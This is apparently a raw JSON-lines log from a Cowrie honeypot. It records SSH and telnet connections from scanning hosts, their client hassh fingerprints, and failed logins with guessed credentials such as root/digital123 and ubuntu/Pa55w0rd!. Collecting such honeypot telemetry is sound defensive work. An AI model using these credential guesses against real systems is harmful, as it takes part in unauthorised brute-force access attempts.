{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T08:41:35.051452Z","src_ip":"2.203.183.35","session":"0bb58e5d9c3a","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"user2","password":"12345678","message":"login attempt [user2/12345678] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T08:41:35.594104Z","src_ip":"2.203.183.35","session":"0bb58e5d9c3a","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.8","message":"Connection lost after 1.8 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T08:41:36.700565Z","src_ip":"2.203.183.35","session":"0bb58e5d9c3a","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":14.339231729507446,"message":"Connection lost after 14 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T08:41:39.355957Z","src_ip":"89.10.237.211","session":"9764a79913d5","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"185.26.126.47","src_port":56104,"dst_ip":"159.203.135.109","dst_port":23,"session":"6911917a11fd","protocol":"telnet","message":"New connection: 185.26.126.47:56104 (159.203.135.109:23) [session: 6911917a11fd]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T08:41:40.291982Z"}
{"eventid":"cowrie.session.connect","src_ip":"159.203.92.129","src_port":47658,"dst_ip":"159.203.135.109","dst_port":22,"session":"9167c18ab419","protocol":"ssh","message":"New connection: 159.203.92.129:47658 (159.203.135.109:22) [session: 9167c18ab419]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T08:41:42.296754Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-OpenSSH","message":"Remote SSH version: SSH-2.0-OpenSSH","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T08:41:42.301133Z","src_ip":"159.203.92.129","session":"9167c18ab419","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"88e4f54f942892da498676735732aec7","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,diffie-hellman-group14-sha1,diffie-hellman-group14-sha256,diffie-hellman-group16-sha512,diffie-hellman-group1-sha1,diffie-hellman-group-exchange-sha1,diffie-hellman-group-exchange-sha256,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,ext-info-c,kex-strict-c-v00@openssh.com;3des-cbc,aes128-cbc,aes128-ctr,aes128-gcm@openssh.com,aes192-ctr,aes256-ctr,aes256-gcm@openssh.com,arcfour,arcfour128,arcfour256,chacha20-poly1305@openssh.com;hmac-sha1,hmac-sha1-96,hmac-sha2-256,hmac-sha2-256-etm@openssh.com,hmac-sha2-512,hmac-sha2-512-etm@openssh.com;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","diffie-hellman-group14-sha1","diffie-hellman-group14-sha256","diffie-hellman-group16-sha512","diffie-hellman-group1-sha1","diffie-hellman-group-exchange-sha1","diffie-hellman-group-exchange-sha256","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","sk-ecdsa-sha2-nistp256-cert-v01@openssh.com","sk-ssh-ed25519-cert-v01@openssh.com","ssh-dss","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","ssh-ed25519","ssh-rsa","rsa-sha2-256","rsa-sha2-512","sk-ecdsa-sha2-nistp256@openssh.com","sk-ssh-ed25519@openssh.com"],"encCS":["3des-cbc","aes128-cbc","aes128-ctr","aes128-gcm@openssh.com","aes192-ctr","aes256-ctr","aes256-gcm@openssh.com","arcfour","arcfour128","arcfour256","chacha20-poly1305@openssh.com"],"macCS":["hmac-sha1","hmac-sha1-96","hmac-sha2-256","hmac-sha2-256-etm@openssh.com","hmac-sha2-512","hmac-sha2-512-etm@openssh.com"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 88e4f54f942892da498676735732aec7","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T08:41:42.305374Z","src_ip":"159.203.92.129","session":"9167c18ab419","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"app2","password":"123456","message":"login attempt [app2/123456] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T08:41:42.316104Z","src_ip":"159.203.92.129","session":"9167c18ab419","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"69.6.221.248","src_port":50754,"dst_ip":"159.203.135.109","dst_port":22,"session":"f595236a8191","protocol":"ssh","message":"New connection: 69.6.221.248:50754 (159.203.135.109:22) [session: f595236a8191]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T08:41:42.565653Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T08:41:42.570448Z","src_ip":"69.6.221.248","session":"f595236a8191","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T08:41:42.683590Z","src_ip":"69.6.221.248","session":"f595236a8191","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"digital123","message":"login attempt [root/digital123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T08:41:43.167567Z","src_ip":"69.6.221.248","session":"f595236a8191","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.1","message":"Connection lost after 1.1 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T08:41:43.367231Z","src_ip":"159.203.92.129","session":"9167c18ab419","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.7","message":"Connection lost after 1.7 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T08:41:44.283789Z","src_ip":"69.6.221.248","session":"f595236a8191","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"122.168.114.167","src_port":37560,"dst_ip":"159.203.135.109","dst_port":22,"session":"bf896624bf5a","protocol":"ssh","message":"New connection: 122.168.114.167:37560 (159.203.135.109:22) [session: bf896624bf5a]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T08:41:45.124229Z"}
{"eventid":"cowrie.session.connect","src_ip":"2.57.122.238","src_port":43732,"dst_ip":"10.17.0.5","dst_port":22,"session":"54cc8e78c575","protocol":"ssh","message":"New connection: 2.57.122.238:43732 (10.17.0.5:22) [session: 54cc8e78c575]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T08:41:45.282851Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T08:41:45.287709Z","src_ip":"2.57.122.238","session":"54cc8e78c575","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T08:41:45.387367Z","src_ip":"2.57.122.238","session":"54cc8e78c575","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"sol","password":"sol123","message":"login attempt [sol/sol123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T08:41:45.685884Z","src_ip":"2.57.122.238","session":"54cc8e78c575","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T08:41:46.787403Z","src_ip":"2.57.122.238","session":"54cc8e78c575","protocol":"ssh"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T08:41:49.020001Z","src_ip":"122.168.114.167","session":"bf896624bf5a","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T08:41:49.022868Z","src_ip":"122.168.114.167","session":"bf896624bf5a","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"148.216.28.11","src_port":49876,"dst_ip":"159.203.135.109","dst_port":22,"session":"ccb803591cdf","protocol":"ssh","message":"New connection: 148.216.28.11:49876 (159.203.135.109:22) [session: ccb803591cdf]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T08:41:56.378899Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T08:41:56.384425Z","src_ip":"148.216.28.11","session":"ccb803591cdf","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T08:41:56.453125Z","src_ip":"148.216.28.11","session":"ccb803591cdf","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"ubuntu","password":"Pa55w0rd!","message":"login attempt [ubuntu/Pa55w0rd!] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T08:41:56.758348Z","src_ip":"148.216.28.11","session":"ccb803591cdf","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T08:41:57.828463Z","src_ip":"148.216.28.11","session":"ccb803591cdf","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"sonar","password":"123456","message":"login attempt [sonar/123456] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T08:42:08.789884Z","src_ip":"122.168.114.167","session":"bf896624bf5a","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"29.3","message":"Connection lost after 29.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T08:42:14.458493Z","src_ip":"122.168.114.167","session":"bf896624bf5a","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":39.38913893699646,"message":"Connection lost after 39 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T08:42:19.681000Z","src_ip":"185.26.126.47","session":"6911917a11fd","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"122.168.114.167","src_port":39954,"dst_ip":"159.203.135.109","dst_port":22,"session":"7709095347cc","protocol":"ssh","message":"New connection: 122.168.114.167:39954 (159.203.135.109:22) [session: 7709095347cc]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T08:42:23.203032Z"}
{"eventid":"cowrie.session.connect","src_ip":"159.203.92.129","src_port":42060,"dst_ip":"159.203.135.109","dst_port":22,"session":"4f3a13331fb2","protocol":"ssh","message":"New connection: 159.203.92.129:42060 (159.203.135.109:22) [session: 4f3a13331fb2]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T08:42:25.558618Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-OpenSSH","message":"Remote SSH version: SSH-2.0-OpenSSH","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T08:42:25.564569Z","src_ip":"159.203.92.129","session":"4f3a13331fb2","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"88e4f54f942892da498676735732aec7","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,diffie-hellman-group14-sha1,diffie-hellman-group14-sha256,diffie-hellman-group16-sha512,diffie-hellman-group1-sha1,diffie-hellman-group-exchange-sha1,diffie-hellman-group-exchange-sha256,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,ext-info-c,kex-strict-c-v00@openssh.com;3des-cbc,aes128-cbc,aes128-ctr,aes128-gcm@openssh.com,aes192-ctr,aes256-ctr,aes256-gcm@openssh.com,arcfour,arcfour128,arcfour256,chacha20-poly1305@openssh.com;hmac-sha1,hmac-sha1-96,hmac-sha2-256,hmac-sha2-256-etm@openssh.com,hmac-sha2-512,hmac-sha2-512-etm@openssh.com;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","diffie-hellman-group14-sha1","diffie-hellman-group14-sha256","diffie-hellman-group16-sha512","diffie-hellman-group1-sha1","diffie-hellman-group-exchange-sha1","diffie-hellman-group-exchange-sha256","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","sk-ecdsa-sha2-nistp256-cert-v01@openssh.com","sk-ssh-ed25519-cert-v01@openssh.com","ssh-dss","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","ssh-ed25519","ssh-rsa","rsa-sha2-256","rsa-sha2-512","sk-ecdsa-sha2-nistp256@openssh.com","sk-ssh-ed25519@openssh.com"],"encCS":["3des-cbc","aes128-cbc","aes128-ctr","aes128-gcm@openssh.com","aes192-ctr","aes256-ctr","aes256-gcm@openssh.com","arcfour","arcfour128","arcfour256","chacha20-poly1305@openssh.com"],"macCS":["hmac-sha1","hmac-sha1-96","hmac-sha2-256","hmac-sha2-256-etm@openssh.com","hmac-sha2-512","hmac-sha2-512-etm@openssh.com"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 88e4f54f942892da498676735732aec7","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T08:42:25.570267Z","src_ip":"159.203.92.129","session":"4f3a13331fb2","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"app2","password":"app2","message":"login attempt [app2/app2] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T08:42:25.584334Z","src_ip":"159.203.92.129","session":"4f3a13331fb2","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.0","message":"Connection lost after 1.0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T08:42:26.591375Z","src_ip":"159.203.92.129","session":"4f3a13331fb2","protocol":"ssh"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T08:42:29.202329Z","src_ip":"122.168.114.167","session":"7709095347cc","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T08:42:29.204803Z","src_ip":"122.168.114.167","session":"7709095347cc","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"2.203.183.35","src_port":39664,"dst_ip":"159.203.135.109","dst_port":22,"session":"1dca0fdee3a9","protocol":"ssh","message":"New connection: 2.203.183.35:39664 (159.203.135.109:22) [session: 1dca0fdee3a9]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T08:42:29.433460Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T08:42:29.442191Z","src_ip":"2.203.183.35","session":"1dca0fdee3a9","protocol":"ssh"}
